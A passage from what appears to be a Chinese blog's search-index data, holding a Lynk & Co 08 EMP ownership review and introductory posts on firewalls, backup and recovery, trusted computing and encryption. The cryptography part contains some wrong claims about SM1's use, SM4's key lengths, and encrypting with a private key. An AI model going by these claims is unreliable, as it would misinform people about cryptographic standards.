声音基本可以忽略，噪声控制得可以毕竟比我的A3好太多了。\n4、油耗 从买回来到今天半个月的时间，加了两次油1次是200元，1次336元，充了三次电分别是23.88元、19.50元、20.36元，跑了800多公里表显还有827公里，满油满电1000多公里还是可以跑到。说是说120公里的纯电续航，即使是充满电表显也只能跑100公里不到，实际90左右吧。因为还没有装家桩，现在基本是超级混动模式在开，表显油耗在4-5个左右，亏电的情况会要到6-7个左右。（用车环境是在长沙，最近最低气温在6-10度，平均温度在15度所左右）\n充电速度还是挺快的，基本上半个小时左右可以充到80%左右，但是充到100%要1个多小时，前面充得快后面充得慢。\n5、其他 领克的APP用起来也不错，很多功能都能在手机上操作。随车是带了一把感应钥匙，一个NFC的卡片钥匙，感应钥匙据说比较耗电。我觉得手机APP的蓝牙钥匙挺好用的，现在我基本上都没有带钥匙了，开门解锁远程遥控，远程可以查看车辆状态，还有行车日志可以看到每次行驶的路径和油耗电耗等信息。1.2.0的版本行车日志电耗显示有问题，所有的显示都是-29.9，昨天推了个1.2.1的版本过来了OTA升级后电耗也可以正常显示了。\n总的来说，领克这个品牌倡导个性、开放、互联符合我的调性，领克08EMP颜值高、有个性、驾驶质感好、科技感满满、舒适性也不错、空间也足够，有这样的颜值和产品力后面的销量应该不会低。\n博客地址：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2024-01-14-%E9%A2%9C%E5%80%BC%E4%B8%8E%E5%AE%9E%E5%8A%9B%E5%B9%B6%E5%AD%98-%E9%A2%86%E5%85%8B08%E6%8F%90%E8%BD%A6%E5%92%8C%E7%94%A8%E8%BD%A6%E6%84%9F%E5%8F%97/","summary":"\u003ch2 id=\"一选车经过\"\u003e一、选车经过\u003c/h2\u003e\n\u003cp\u003e第一辆车是11年8月购入的奇瑞A3，1.6手动精英，开了十多年了，不得不说奇瑞的车真是皮实耐用。十二年12万公里了从来没有出过出现过大问题，就换过几次电池、换过雨刮器、右后门的电动车窗的升降机，4条胎换过一次，其他都没有换过。现在开起来还是非常好开，底盘扎实，操控性好，油耗在8、9个左右。唯一的不爽就是手动档在上比较大的陡坡的时候半坡起步乏力，常常要大脚轰油才能不溜坡不熄火。\n\u003cimg alt=\"奇瑞A3\" loading=\"lazy\" src=\"http://image2.ishareread.com/images/2024/20240114/%E5%A5%87%E7%91%9EA3.jpg\"\u003e\n在年初就立了个FLAG，计划两年内换车，目标是新能源混动车型。所以最近一两年都在看新能源的汽车。见\u003ca href=\"http://xiejava.ishareread.com/posts/c33148ad/\"\u003e《写给2025年的自己》\u003c/a\u003e\u003c/p\u003e","title":"颜值与实力并存-领克08提车和用车感受"},{"content":"防火墙是一种网络安全产品，它设置在不同网络（如可信任的企业内部网和不可信的公共网）或网络安全域之间，通过监测、限制、更改跨越防火墙的数据流，尽可能地对外部屏蔽网络内部的信息、结构和运行状况，以此来实现网络的安全保护。\n一、什么是防火墙 防火墙指的是一个由软件和硬件设备组合而成、在内部网和外部网之间、专用网与公共网之间的边界上构造的保护屏障。它可通过监测、限制、更改跨越防火墙的数据流，尽可能地对外部屏蔽网络内部的信息、结构和运行状况，以此来实现网络的安全保护。在逻辑上，防火墙是一个分离器，一个限制器，也是一个分析器，有效地监控了内部网和Internet之间的任何活动，保证了内部网络的安全。防火墙（Firewall），是一种硬件设备或软件系统，主要架设在内部网络和外部网络间，为了防止外界恶意程式对内部系统的破坏，或者阻止内部重要信息向外流出，有双向监督功能。防火墙主要由服务访问规则、验证工具、包过滤和应用网关4个部分组成。\n二、防火墙的主要功能 创建一个阻塞点 防火墙在一个公司内部网络和外部网络间建立一个检查点，这种实现要求所有的流量都要通过这个检查点。一旦这些检查点清楚地建立，防火墙设备就可以监视，过滤和检查所有进来和出去的流量。这样一个检查点，在网络安全行业中称之为“阻塞点”。通过强制所有进出流量都通过这些检查点，网络管理员可以集中在较少的地方来实现安全目的。 隔离不同网络，防止内部信息的外泄 这是防火墙的最基本功能，它通过隔离内、外部网络来确保内部网络的安全。使用防火墙就可以隐蔽那些透漏内部细节如Finger，DNS等服务。防火墙可以同样阻塞有关内部网络中的DNS信息，这样一台主机的域名和IP地址就不会被外界所了解。 强化网络安全策略 通过以防火墙为中心的安全方案配置，能将所有安全软件(如口令、加密、身份认证、审计等)配置在防火墙上。与将网络安全问题分散到各个主机上相比，防火墙的集中安全管理更经济。各种安全措施的有机结合，更能有效地对网络安全性能起到加强作用。 有效地审计和记录内、外部网络上的活动 防火墙可以对内、外部网络存取和访问进行监控审计。如果所有的访问都经过防火墙，那么，防火墙就能记录下这些访问并进行日志记录，同时也能提供网络使用情况的统计数据。当发生可疑动作时，防火墙能进行适当的报警，并提供网络是否受到监测和攻击的详细信息。这为网络管理人员提供非常重要的安全管理信息，可以使管理员清楚防火墙是否能够抵挡攻击者的探测和攻击，并且清楚防火墙的控制是否充足。 三、防火墙的主要类型 按照防火墙实现技术的不同可以将防火墙为以下几种主要的类型。\n包过滤防火墙 数据包过滤是指在网络层对数据包进行分析、选择和过滤。选择的数据是系统内设置的访问控制表（又叫规则表），规则表制定允许哪些类型的数据包可以流入或流出内部网络。通过检查数据流中每一个IP数据包的源地址、目的地址、所用端口号、协议状态等因素或它们的组合来确定是否允许该数据包通过。包过滤防火墙一般可以直接集成在路由器上，在进行路由选择的同时完成数据包的选择与过滤，也可以由一台单独的计算机来完成数据包的过滤。 应用代理防火墙 应用代理防火墙能够将所有跨越防火墙的网络通信链路分为两段，使得网络内部的客户不直接与外部的服务器通信。防火墙内外计算机系统间应用层的连接由两个代理服务器之间的连接来实现。有点是外部计算机的网络链路只能到达代理服务器，从而起到隔离防火墙内外计算机系统的作用：缺点是执行速度慢，操作系统容易遭到攻击。 状态检测防火墙 状态检测防火墙又叫动态包过滤防火墙。状态检测防火墙在网络层由一个检查引擎截获数据包并抽取出与应用状态有关的信息。一次作为数据来决定该数据包是接受还是拒绝。检查引擎维护一个动态的状态信息表并对后续的数据包进行检查，一旦发现任何连接的参数有意外变化，该连接就被终止。状态检测防火墙克服了包过滤防火墙和应用代理防火墙的局限性，能够根据协议、端口及P数据包的源地址、目的地址的具体情况来决定数据包是否可以通过。 四、部署方式 防火墙在实际的部署过程中主要有三种模式可供选择，这三种模式分别是：基于TCP/IP协议三层的NAT模式、基于TCP/IP协议三层的路由模式、基于二层协议的透明模式。\nNAT模式 当Juniper防火墙入口接口（“内网端口”）处于NAT模式时，防火墙将通往Untrust区（外网或者公网）的IP数据包包头中的两个组件进行转换：源IP地址和源端口号。防火墙使用Untrust区（外网或者公网）接口的IP地址替换始发端主机的源IP地址；同时使用由防火墙生成的任意端口号替换源端口号。 Route-路由模式 当Juniper防火墙接口配置为路由模式时，防火墙在不同安全区间（例如：Trust/Utrust/DMZ）转发信息流时IP数据包包头中的源地址和端口号保持不变（除非明确采用了地址翻译策略）。与NAT模式下不同，防火墙接口都处于路由模式时，防火墙不会自动实施地址翻译；与透明模式下不同，当防火墙接口都处于路由模式时，其所有接口都处于不同的子网中。 透明模式 当Juniper防火墙接口处于“透明”模式时，防火墙将过滤通过的IP数据包，但不会修改IP数据包包头中的任何信息。防火墙的作用更像是处于同一VLAN的2层交换机或者桥接器，防火墙对于用户来说是透明的。 五、局限性 不能防止源于内部的攻击，不提供对内部的保护； 不能防病毒； 不能根据网络被恶意使用和攻击的情况动态调整自己的策略； 本身的防攻击能力不够，容易成为被攻击的首要目标。 六、防火墙与IPS的区别与关系 防火墙和IPS（入侵防御系统）是两种不同的网络安全产品，它们在保护网络方面有不同的侧重点和功能。\n防火墙主要用于控制网络访问，它可以过滤掉不安全的服务和非法用户，防止入侵者接近防御设施，是第一道的防线。防火墙部署在网络边界，可以隔离内外网，并对进出网络的数据流进行过滤和监测。防火墙通常基于预设的安全策略来允许或拒绝数据流的进出，可以防御常见的网络攻击，但对于一些未知或不断变化的威胁可能效果有限。\n而IPS是一种主动的网络安全防御系统，它可以在网络中实时检测和防御恶意行为。IPS可以检测到攻击者的行为，并在攻击对系统造成损害之前及时阻止。IPS通过分析网络流量和检测异常行为来发现攻击，并可以采取措施来隔离攻击源、修复受损系统、记录攻击信息等。由于IPS需要实时监测网络流量，因此对于大规模的网络流量可能会对性能产生一定影响。\n防火墙和IPS在网络安全中各有侧重，但可以相互配合使用。防火墙可以过滤掉大部分的常见威胁，而IPS可以补充防火墙的不足，提供更深入的检测和防御能力。同时，IPS可以检测和防御那些已经绕过防火墙的攻击，提高整体的网络安全性。\n七、防火墙如何提升防护能力 防火墙应对不断变化的网络威胁的方法主要包括以下几个方面：\n动态更新和升级：防火墙可以通过动态更新和升级来应对不断变化的网络威胁。厂商会不断发布新的安全漏洞和威胁情报，防火墙可以通过定期更新和升级来修补这些漏洞，并增强对新型威胁的防御能力。 应用层防护：随着网络威胁的变化，防火墙需要具备应用层防护能力，能够识别和拦截各种应用层的攻击，如SQL注入、跨站脚本等。 入侵检测与防御：防火墙集成了入侵检测与防御功能，能够实时检测网络流量中的异常行为，并采取相应的防御措施。通过与安全设备的联动，可以进一步增强对网络威胁的应对能力。 智能分析：借助大数据和人工智能技术，防火墙可以进行智能分析，自动识别和分类网络流量中的威胁，并提供可视化的威胁报表。这有助于企业及时发现和处理潜在的安全风险。 云安全技术：随着云计算的普及，云安全也成为防火墙的重要功能之一。防火墙需要具备云安全技术，能够防御来自云端的安全威胁，保护企业数据的安全。 防火墙通过动态更新和升级、应用层防护、入侵检测与防御、智能分析和云安全技术等手段，可以应对不断变化的网络威胁。但需要注意的是，防火墙只是网络安全的一部分，企业还需要结合其他安全措施，如数据加密、身份认证等，来全面提升网络安全防护能力。\n博客：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2024-01-12-%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E4%BA%A7%E5%93%81%E4%B9%8B%E8%AE%A4%E8%AF%86%E9%98%B2%E7%81%AB%E5%A2%99/","summary":"\u003cp\u003e防火墙是一种网络安全产品，它设置在不同网络（如可信任的企业内部网和不可信的公共网）或网络安全域之间，通过监测、限制、更改跨越防火墙的数据流，尽可能地对外部屏蔽网络内部的信息、结构和运行状况，以此来实现网络的安全保护。\u003c/p\u003e","title":"网络安全产品之认识防火墙"},{"content":"随着计算机和网络的不断普及，人们更多的通过网络来传递大量信息。在网络环境下，还有各种各样的病毒感染、系统故障、线路故障等，使得数据信息的安全无法得到保障。由于安全风险的动态性，安全不是绝对的，信息系统不可能保证不出现安全事故，因此，一旦出现安全事件造成信息系统中断或者数据丢失，如果事先采取了必要的备份准备并及时启用，能够最小程度的减少系统重构时间和对业务中断的影响。备份恢复技术是安全防御体系中的重要组成部分，旨在保护数据安全，防止数据丢失或损坏，提高企业的数据安全性和业务连续性水平。\n一、备份恢复的基本概念 备份恢复的基本概念主要包括备份和恢复两个方面。备份是指将数据或系统进行复制和存储的过程，以便在数据丢失或损坏时能够从备份中恢复。 恢复则是指当数据或系统出现问题时，通过备份数据进行数据恢复或系统重建的过程。\n二、备份恢复技术的分类 备份恢复技术有多种分类和应用场景，可以根据实际需求进行选择和应用。常见的备份恢复技术包括数据备份技术、灾难恢复技术、容灾技术、备份与恢复管理技术、数据归档技术和文件系统快照技术等。\n数据备份技术：是指定期对重要数据或全部数据复制和存储，以防止数据丢失或损坏。数据备份可以分为完整备份、增量备份、差异备份等。 灾难恢复技术：是指在发生灾难事件时，通过事先制定的灾难恢复计划和流程，快速恢复业务运行。灾难恢复技术包括数据备份、系统恢复、业务恢复等方面的内容。 容灾技术：是指通过建立异地容灾中心，将重要数据实时或定时复制到容灾中心，确保在主中心发生故障时，数据仍能保持可用性和完整性。容灾技术包括数据同步、异步复制、数据验证等方面的内容。 备份与恢复管理技术：是指定期对备份数据进行验证和测试，确保备份数据的可用性和完整性。同时，建立完善的备份与恢复管理制度，规范备份与恢复操作，确保备份和恢复工作的顺利进行。 数据归档技术：是指将不再经常使用的数据迁移到归档设备上，以释放存储空间并降低管理成本。归档设备可以是磁带库、光盘库等。 文件系统快照技术：是指利用文件系统快照技术，对文件系统进行快速备份。快照技术可以捕获文件系统在某一时刻的状态，以便在发生问题时迅速恢复数据。 这些技术可以根据实际需求进行选择和应用，以确保数据的完整性和可用性，提高企业的业务连续性水平，降低企业的风险和成本。 三、备份恢复的能力等级 系统备份恢复能力也是信息系统一种重要的安全能力。2007年国家针对备份恢复发布了国家标准《GB/T 20988-2007 信息安全技术 信息系统灾难恢复规范》，《规范》将灾难恢复能力划分为6级：\n等级一：基本支持。要求数据备份系统能够保证每周至少进行一次数据备份，备份介质能够提供场外存放。对于备用数据处理系统和备用网络系统，没有具体要求。 等级二：备用场地支持。在满足等级一的条件基础上，要求配备灾难恢复所需的部分数据处理设备，或灾难发生后能在预定时间内调配所需的数据处理设备到备用场地；要求配备部分通信线路和相应的网络设备，或灾难发生后能在预定时间内调配所需的通信线路和网络设备到备用场地。 等级三：电子传输和设备支持。要求每天至少进行一次完全数据备份，备份介质场外存放，同时每天多次利用通信网络将关键数据定时批量传送至备用场地。配备灾难恢复所需的部分数据处理设备、通信线路和相应的网络设备。 等级四：电子传输及完整设备支持。在等级三的基础上，要求配置灾难恢复所需的所有数据处理设备、通行线路和相应的网络设备，并且处于就绪或运行状态。 等级五：实时数据传输及完整设备支持。除要求每天至少进行一次完全数据备份，备份介质场外存放外，还要求采用远程数据复制技术，利用通信网络将关键数据实时复制到备用场地。 等级六：数据零丢失和远程集群支持。要求实现远程实时备份，数据零丢失；备用数据处理系统具备与生产数据处理系统一致的处理能力，应用软件是“集群的”，可实时无缝切换。 由此可见，灾难恢复能力等级越高，对于信息系统的保护效果越好，但同时成本也会急剧上升。\n四、备份恢复的类型 备份恢复的基本原理是确保数据的完整性和可用性，防止数据丢失或损坏。在备份过程中，需要对重要数据或全部数据进行拷贝和存储，可以选择不同的备份策略，如完整备份、增量备份、差异备份等，以满足不同场景的需求。在恢复过程中，需要使用备份数据来恢复受损的数据或系统，确保业务能够正常运行。 备份通常可以分成下面的这三种类型：\n1、完全备份 完全备份就是将系统中所有的数据都通过备份进程备份。完全备份需要的时间相比其他集中备份方式要长，但是故障发生时，恢复时间非常快。\n2、差异备份 通常，系统管理员会每周定期作完全备份，在一周的其他时间针对与完全备份的差异部分作差异备份。 这种备份方法的恢复时间较长，我们不但要从全备份中恢复数据，还需要将每天的变化量恢复到系统中。\n3、增量备份 增量备份是每周定期进行完全备份，每天增加备份当天的数据变化，对于备份时间，增量备份需要的时间最短，但是，回复时间较长且较为复杂。在恢复过程中，我们不但需要恢复第一次的完全备份，还需要使用每天变化量的备份，一次恢复一天的数据，直到最近的一次所做的增量备份为止。\n五、数据备份的方式 1、远程镜像 远程镜像技术在主数据中心和数据备份中心之间的数据备份过程中使用。镜像是在两个或多个磁盘或磁盘子系统上产生同一个数据的镜像视图的信息存储过程，一个叫主镜像系统，另一个叫从镜像系统。按主从镜像存储系统所处的位置可分为本地镜像和远程镜像。远程镜像又叫远程复制，是容灾备份的核心技术，同时也是保持远程数据同步和实现灾难恢复的基础。远程镜像按请求镜像的主机是否需要远程镜像站点的确认信息，又可分为同步远程镜像和异步远程镜像。\n同步远程镜像（同步复制技术）是指通过远程镜像软件，将本地数据以完全同步的方式复制到异地，每一本地的I/O事务均需等待远程复制的完成确认信息，方予以释放。同步镜像使远程拷贝总能与本地机要求复制的内容相匹配。当主站点出现故障时，用户的应用程序切换到备份的替代站点后，被镜像的远程副本可以保证业务继续执行而没有数据的丢失。但它存在往返传播造成延时较长的缺点，只限于在相对较近的距离上应用。\n异步远程镜像（异步复制技术）保证在更新远程存储视图前完成向本地存储系统的基本I/O操作，而由本地存储系统提供给请求镜像主机的I/O操作完成确认信息。远程的数据复制是以后台同步的方式进行的，这使本地系统性能受到的影响很小，传输距离长（可达1000公里以上），对网络带宽要求小。但是，许多远程的从属存储子系统的写没有得到确认，当某种因素造成数据传输失败，可能出现数据一致性问题。为了解决这个问题，目前大多采用延迟复制的技术，即在确保本地数据完好无损后进行远程数据更新。\n2、快照技术 快照是通过软件对要备份的磁盘子系统的数据快速扫描，建立一个要备份数据的快照逻辑单元号LUN和快照cache。在快速扫描时，把备份过程中即将要修改的数据块同时快速拷贝到快照cache中。 快照LUN是一组指针，它指向快照cache和磁盘子系统中不变的数据块（在备份过程中）。在正常业务进行的同时，利用快照LUN实现对原数据的一个完全的备份。它可使用户在正常业务不受影响的情况下（主要指容灾备份系统），实时提取当前在线业务数据。其“备份窗口”接近于零，可增加系统业务的连续性，为实现系统真正的7×24运转提供了保证。\n3、互连技术 现有多种基于IP的SAN的远程数据容灾备份技术。它们是利用基于IP的SAN的互连协议，将主数据中心SAN中的信息通过现有的TCP/IP网络，远程复制到备援中心SAN中。早期方法多通过光纤通道FC连接两个SAN，存在实现成本高、设备的互操作性差、跨越的地理距离短（10公里）等缺点。 当备援中心存储的数据量过大时，可利用快照技术将其备份到磁带库或光盘库中。这种基于IP的SAN的远程容灾备份，可以跨越LAN、MAN和WAN，成本低、可扩展性好，具有广阔的发展前景。 基于IP的互连协议包括：FCIP、iFCP、Infiniband、iSCSI等。\n六、备份恢复技术应用场景 备份恢复技术的应用场景有很多，以下是常见的一些场景：\n数据丢失应用场景：包括人为操作失误、软件BUG、硬件故障、安全漏洞被入侵等情况，导致数据被误操作、部分或全部丢失。在这种情况下，备份恢复技术可以用来恢复丢失的数据。 非数据丢失应用场景：包括特殊应用场景下基于时间点的数据恢复、开发测试环境数据库搭建、相同数据库的新环境搭建、数据库或数据迁移等情况。在这些情况下，备份恢复技术可以用来迁移数据或者在新的环境中快速搭建数据库。 设备更换场景：当用户的设备损坏或丢失时，可以通过备份恢复技术将备份的数据导入到新设备中，恢复原有的应用程序和设置，避免了重新配置和下载应用的麻烦。 数据迁移场景：当用户的设备升级或更换时，可以通过备份恢复技术将备份的数据迁移到新设备中，保留原有的数据和设置，提高用户的使用体验。 备份恢复技术的应用场景非常广泛，可以在各种情况下保护数据安全，降低风险和成本。根据实际需求选择适合的备份恢复技术，可以提高企业的数据安全性和业务连续性水平。\n博客：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2024-01-10-%E5%AE%89%E5%85%A8%E9%98%B2%E5%BE%A1%E4%B9%8B%E5%A4%87%E4%BB%BD%E6%81%A2%E5%A4%8D%E6%8A%80%E6%9C%AF/","summary":"\u003cp\u003e随着计算机和网络的不断普及，人们更多的通过网络来传递大量信息。在网络环境下，还有各种各样的病毒感染、系统故障、线路故障等，使得数据信息的安全无法得到保障。由于安全风险的动态性，安全不是绝对的，信息系统不可能保证不出现安全事故，因此，一旦出现安全事件造成信息系统中断或者数据丢失，如果事先采取了必要的备份准备并及时启用，能够最小程度的减少系统重构时间和对业务中断的影响。备份恢复技术是安全防御体系中的重要组成部分，旨在保护数据安全，防止数据丢失或损坏，提高企业的数据安全性和业务连续性水平。\u003c/p\u003e","title":"安全防御之备份恢复技术"},{"content":"可信计算技术是一种计算机安全体系结构，旨在提高计算机系统在面临各种攻击和威胁时的安全性和保密性。它通过包括硬件加密、受限访问以及计算机系统本身的完整性验证等技术手段，确保计算机系统在各种攻击和威胁下保持高度安全和保密性。\n一、可信计算基本概念 “可信”，这个概念由可信计算组织Trusted Computing Group（TCG）提出，旨在提出一种能够超越预设安全规则，执行特殊行为的运行实体。\n操作系统中将这个实体运行的环境称为可信计算基，是计算机系统内保护装置的总体，包括硬件、固件、软件和负责执行安全策略的组合体。可信计算基建立了一个基本的保护环境，并提供一个可信计算系统所要求的附加用户服务，以防止不可信主体的干扰和篡改。\n而可信计算（Trusted Computing）是在计算和通信系统中广泛使用基于硬件安全模块支持下的可信计算平台，保证系统运行环境的可信赖。可信计算平台为网络用户提供了一个更为宽广的安全环境，它从安全体系的角度来描述安全问题，确保用户的安全执行环境。\n可信计算技术的核心思想是可信，即只有当系统是可信的情况下，才能够保证安全。这主要体现在两个方面：一是系统本身的可信，即系统的所有组件都没有被篡改或替换，系统的运行环境和操作过程是可预测和可靠的；二是系统的行为可信，即系统的行为是按照预期的方式进行的，没有受到非法的干预或干扰。\n在可信计算的基础上，操作或过程的行为在任意操作条件下是可预测的，并能很好地抵抗不良代码和一定的物理干扰造成的破坏。可信计算是安全的基础，从可信根出发，解决PC机结构所引起的安全问题。\n二、可信计算功能特征 可信计算技术通过多种手段提高计算机系统的安全性，包括硬件保护、加密技术、数字签名技术、安全协议和系统完整性保护等。这些技术手段可以相互配合，形成一个完整的安全防护体系，确保计算机系统的安全性和保密性。\n硬件保护：可信计算技术使用安全芯片等硬件组件，在硬件层面对计算机进行保护，防止计算机系统被篡改或攻击。安全芯片可以验证计算机的识别序号，检测计算机是否被篡改，同时存储计算机的安全信息，保证用户、设备和数据的安全。 加密技术：可信计算技术使用加密技术对计算机系统中的数据进行加密，确保数据在传输和存储过程中的机密性和完整性。加密技术可以防止不良用户在通讯过程中截获加密的信息，保证数据的保密性。 数字签名技术：数字签名技术是可信计算技术的核心部分，用于在网络上进行身份验证和认证。数字签名可以验证消息的发件人是可信的，并且消息在传输过程中没有被篡改。这可以防止恶意用户伪造或篡改数据，提高系统的安全性。 安全协议：可信计算技术使用安全协议，如SSL/TLS协议等，保护在开放网络上进行的通信。这些安全协议可以防止恶意攻击者窃听或篡改通信内容，保证数据传输的安全性。 系统完整性保护：可信计算技术可以保护计算机系统的完整性，确保系统组件没有被篡改或替换。通过度量和验证等技术手段，可以检测系统组件的状态是否正常，及时发现并防止恶意代码的注入或攻击。 与传统的安全技术相比，可信计算具有以下三个显著的功能特征：\n保护存储 保护存储一方面通过嵌入的硬件设备保护用户特定的秘密信息（如终端平台身份信息、密钥等），防止通过硬件物理窥探等手段访问密钥等信息，另一方面完成硬件保护下的密钥生成、随机数生成、HASH运算、数字签名以及加解密操作，为用户提供受保护的密码处理过程。 认证启动 可信计算技术利用完整性测量机制完成计算机终端从加电到操作系统装载运行过程中各个执行阶段（BIOS、操作系统装载程序、操作系统等）的认证。当级别低的节点认证到高一级的节点是可信时，低级别节点会把系统的运行控制权转交给高一级节点，基于这种信任链传递机制，可以保证终端始终处于可信的运行环境中。 证明 证明是保证信息正确性的过程。网络通信中，计算机终端基于数字证书机制可以向要通信的双方证明终端当前处于一个可信的状态，同时说明本机的配置情况。如果通信双方都能证明彼此信息的有效性，则可以继续进行通信，否则服务中断。 基于以上三个功能特性，可信计算技术可以对主机实施有效的安全防护，保护计算机及网络系统的安全运行，从而向用户提供一个可信的执行环境。 三、可信计算的应用 可信计算技术的应用范围非常广泛，它可以应用于各种计算机系统和网络设备中，提供从硬件到软件的各种安全保障。例如，可信计算技术可以用于保护计算机系统的关键组件，防止恶意代码篡改BIOS、操作系统和应用软件；还可以用于实现网络连接的安全控制，防止终端的安全状态伪造、接入后配置修改以及设备假冒接入等问题。此外，可信计算技术还可以用于构建等级保护的核心技术体系，对通信设备、边界设备、计算设备等保护对象进行系统引导程序、系统程序、重要配置参数等的验证。\n可信计算为系统运行提供了一个可信赖的环境，具体来说可在以下方面得到应用：\n云环境：云环境需要更高的安全性，可信计算技术可以帮助提供更安全、更可信赖的云服务环境。通过可信计算技术，可以保护云服务中数据的机密性和完整性，防止数据被篡改或泄露。同时，可信计算技术还可以帮助实现虚拟专用网络（VPN）的安全传输，保证远程用户访问云服务时的身份验证和数据加密。 物联网：在物联网环境中，可信计算技术可以帮助保护各种设备和传感器的数据安全，以及确保数据的完整性和真实性。通过可信计算技术，可以防止物联网设备被攻击或篡改，保证设备的合法性和安全性。同时，可信计算技术还可以用于实现物联网设备的远程身份验证和授权控制，确保只有合法的设备可以接入网络并访问相应的数据。 数字版权管理：可信计算技术可以用于创建安全的数字版权管理系统，以防止数字内容被非法复制和分发。通过可信计算技术，可以确保数字内容的完整性和真实性，同时防止未经授权的访问和复制。这可以保护版权所有者的合法权益，防止盗版内容的传播。 金融交易：通过可信计算技术，可以保护金融交易中的数据完整性和机密性，防止交易被篡改或泄露。同时，可信计算技术还可以用于实现金融系统的远程身份验证和授权控制，保证金融交易的安全性和合法性。以网上银行为例，当用户接入到银行服务器时使用远程认证，之后如果服务器能产生正确的认证证书那么银行服务器就将只对该页面进行服务。随后用户通过该页面发送他的加密账号和PIN和一些对用户和银行都为私有的（不看见）保证信息。 身份认证和访问控制：可信计算技术可以用于实现身份认证和访问控制，保证只有合法的用户可以访问相应的数据或资源。通过可信计算技术，可以验证用户的身份和权限，防止身份假冒和非法访问。这可以提高系统的安全性，保护敏感数据不被泄露或滥用。 保护系统不受病毒和间谍软件危害：软件的数字签名将使得用户识别出经过第三方修改可能加入间谍软件的应用程序。例如，一个网站提供一个修改过的流行即时通讯程序版本，该程序包含间谍软件。操作系统可以发现这些版本里缺失有效的签名并通知用户该程序已经被修改，然而这也带来一个问题：谁来决定签名是否有效。 保护生物识别身份验证数据：用于身份认证的生物鉴别设备可以使用可信计算技术（存储器屏蔽，安全I/O）来确保没有间谍软件安装在电脑上窃取敏感的生物识别信息。 核查远程网格计算的计算结果：可信计算可以确保网格计算系统的参与者返回的结果不是伪造的。这样大型模拟运算（例如天气系统模拟）不需要繁重的冗余运算来保证结果不被伪造，从而得到想要的（正确）结论。 四、可信路径 可信路径是一种安全机制，旨在确保只有经过授权和验证的实体能够访问特定的资源或数据。可信路径的实现通常依赖于可信计算技术，通过在系统中建立一条可信任的路径来保护数据的完整性和机密性。\n可信通信机制主要应用在用户登录或注册时，能够保证用户确实是和安全核心通信，防止不可信进程如特洛伊木马等模拟系统的登录过程而窃取口令。 在计算机系统中，可信路径可以用于保护操作系统的引导程序、核心程序以及系统的关键配置参数等。通过建立可信路径，可以确保只有合法的实体能够修改或破坏这些关键组件，从而防止系统被篡改或攻击。\n此外，在物联网环境中，可信路径可以用于确保只有经过授权的设备能够接入网络并访问相应的数据。通过建立可信路径，可以防止非法设备接入网络，从而保护物联网系统的安全性和可靠性。\n可信路径是一种重要的安全机制，它可以建立一条可信任的路径来保护数据的完整性和机密性，防止系统被篡改或攻击。通过可信计算技术，可以有效地实现可信路径，提高计算机系统和物联网系统的安全性。\n博客：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2024-01-09-%E5%AE%89%E5%85%A8%E9%98%B2%E5%BE%A1%E4%B9%8B%E5%8F%AF%E4%BF%A1%E8%AE%A1%E7%AE%97%E6%8A%80%E6%9C%AF/","summary":"\u003cp\u003e可信计算技术是一种计算机安全体系结构，旨在提高计算机系统在面临各种攻击和威胁时的安全性和保密性。它通过包括硬件加密、受限访问以及计算机系统本身的完整性验证等技术手段，确保计算机系统在各种攻击和威胁下保持高度安全和保密性。\u003c/p\u003e","title":"安全防御之可信计算技术"},{"content":"密码学是信息安全的基础技术之一，是达到信息系统安全等级保护要求的核心技术支持，在身份验证、访问控制、文件加密、数据加密和安全传输中都得到广泛应用。其核心目标是保证信息的机密性、完整性和可用性。 密码学包括加密和解密两个部分。一般过程是：发送方通过加密算法，将可读的文件（明文）变换成不可理解的乱码，即密文，然后传输给接收方；接收方接收密文之后，通过解密算法进行解密，获得明文。密码技术的实施过程，支持等级保护在机密性、完整性、认证性和非否认性等方面的要求。\n一、加密技术分类 按照密钥的特点可将密码学分为两类：对称密码算法和非对称密码算法。相应地，对数据加密的技术分为两类，即对称加密技术和非对称加密技术。\n1、对称加密技术 对称加密技术的基本特征是加密密钥和解密密钥相同，典型代表是数据加密标准（DES）、国际数据加密算法（IDEA）。实施过程如下： （1）发送方发送明文消息前，首先获得一个密钥，该密钥可以由发送方生成并通过安全的渠道送到接收方，或者由可信的第三方生成，分发给发送方和接收方； （2）发送方使用密钥将要发送的消息加密并传输给接收方； （3）接收方接收密文，使用密钥进行解密获得明文。 对称加密算法使用起来简单快捷，加密、解密处理速度快、保密度高，适合对数据量比较大的文件进行加密。但是在密钥管理与分发、数字签名等方面存在较为明显的问题： （1）会话双方密钥难以统一；在多人通信时，同时产生的密钥数量庞大，难以管理。 （2）密钥必须妥善安全地发送到接收方，分发过程十分复杂，花费代价高。 （3）密钥不具有唯一性，易于伪造。 国产对称加密算法包括SM1、SM4等。 SM1是国家密码管理局公布的分组密码，主要应用于SSL/TLS握手过程中的DH密钥交换，也可用于数据加密和数字签名。 SM4是一种分组密码，其分组长度为128位，密钥长度为128位、192位或256位。SM4算法基于Feistel结构，具有较高的安全性。\n2、非对称加密技术 非对称加密技术的原理是加密密钥和解密密钥不同，其中一个密钥用来加密，另一个密钥用来解密，典型代表是RSA算法。非对称加密技术通过特定的算法生成一个密钥对，一个密钥不能公开，叫做私钥，另一个可以公开，叫做公钥。同时，非对称加密技术的加密算法和解密算法是公开的，具体实施过程如下： （1）发送方通过私钥和加密算法对发送的消息进行加密，然后传输； （2）接收方接收密文，使用发送方公开的公钥和解密算法进行解密，获得明文。 非对称加密体制相对对称加密体制而言，具有以下优势： （1）消除了会话用户双方交换密钥的需要。 （2）每个用户拥有特定的密钥，密钥数量少，便于管理，同时实现了身份认证。 但是非对称加密体制加密和解密花费时间长、速度慢，不适合对数据量比较大的文件加密，更适用于对少量数据进行加密。 国产非对称加密算法主要包括SM2和SM9。 SM2算法是一种基于椭圆曲线密码的公钥密码算法标准，其安全性相较于RSA算法更高，且具有更高的运算速度，适用于数字签名、密钥协商和加密等场景。SM2算法已成为我国无线局域网国家标准的商用密码算法，并被应用于WAPI无线网络中。 SM9算法则是一种基于标识的密码算法，将用户的身份标识作为公钥，从而省去了证书管理的复杂性。SM9算法包括数字签名、密钥交换和密钥封装等协议，可以应用于多种安全场景，如网络安全、移动支付等。\n二、密码技术在安全防御中的作用 